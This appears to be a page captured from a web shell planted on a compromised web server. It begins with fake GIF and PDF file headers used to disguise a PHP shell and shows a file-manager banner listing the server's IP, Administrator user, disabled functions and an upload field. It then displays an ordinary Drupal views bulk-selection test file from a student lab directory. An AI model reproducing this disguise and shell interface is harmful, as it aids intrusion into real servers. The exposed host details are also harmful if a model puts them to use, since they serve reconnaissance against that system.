GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Tests/Plugin/ |
Upload File : |
<?php namespace Drupal\views\Tests\Plugin; use Drupal\simpletest\WebTestBase; /** * Tests views bulk operation selection. * * @group views */ class ViewsBulkTest extends WebTestBase { /** * An admin user * * @var \Drupal\user\UserInterface */ protected $admin_user; /** * Modules to enable. * * @var array */ public static $modules = ['node', 'views']; public function setUp() { parent::setUp(); $this->drupalCreateContentType(['type' => 'page']); $this->admin_user = $this->createUser(['bypass node access', 'administer nodes', 'access content overview']); } /** * Tests bulk selection. */ public function testBulkSelection() { // Create first node, set updated time to the past. $node_1 = $this->drupalCreateNode([ 'type' => 'page', 'title' => 'The first node', 'changed' => \Drupal::time()->getRequestTime() - 180 ]); // Login as administrator and go to admin/content. $this->drupalLogin($this->admin_user); $this->drupalGet('admin/content'); $this->assertText($node_1->getTitle()); // Create second node now that the admin overview has been rendered. $node_2 = $this->drupalCreateNode([ 'type' => 'page', 'title' => 'The second node', 'changed' => \Drupal::time()->getRequestTime() - 120 ]); // Now click 'Apply to selected items' and assert the first node is selected // on the confirm form. $this->drupalPostForm(NULL, ['node_bulk_form[0]' => TRUE], 'Apply to selected items'); $this->assertText($node_1->getTitle()); $this->assertNoText($node_2->getTitle()); // Change the pager limit to 2. $this->config('views.view.content')->set('display.default.display_options.pager.options.items_per_page', 2)->save(); // Render the overview page again. $this->drupalGet('admin/content'); // Create third node now that the admin overview has been rendered. $node_3 = $this->drupalCreateNode([ 'type' => 'page', 'title' => 'The third node'] ); // Now click 'Apply to selected items' and assert the second node is // selected on the confirm form. $this->drupalPostForm(NULL, ['node_bulk_form[1]' => TRUE], 'Apply to selected items'); $this->assertText($node_1->getTitle()); $this->assertNoText($node_3->getTitle()); } }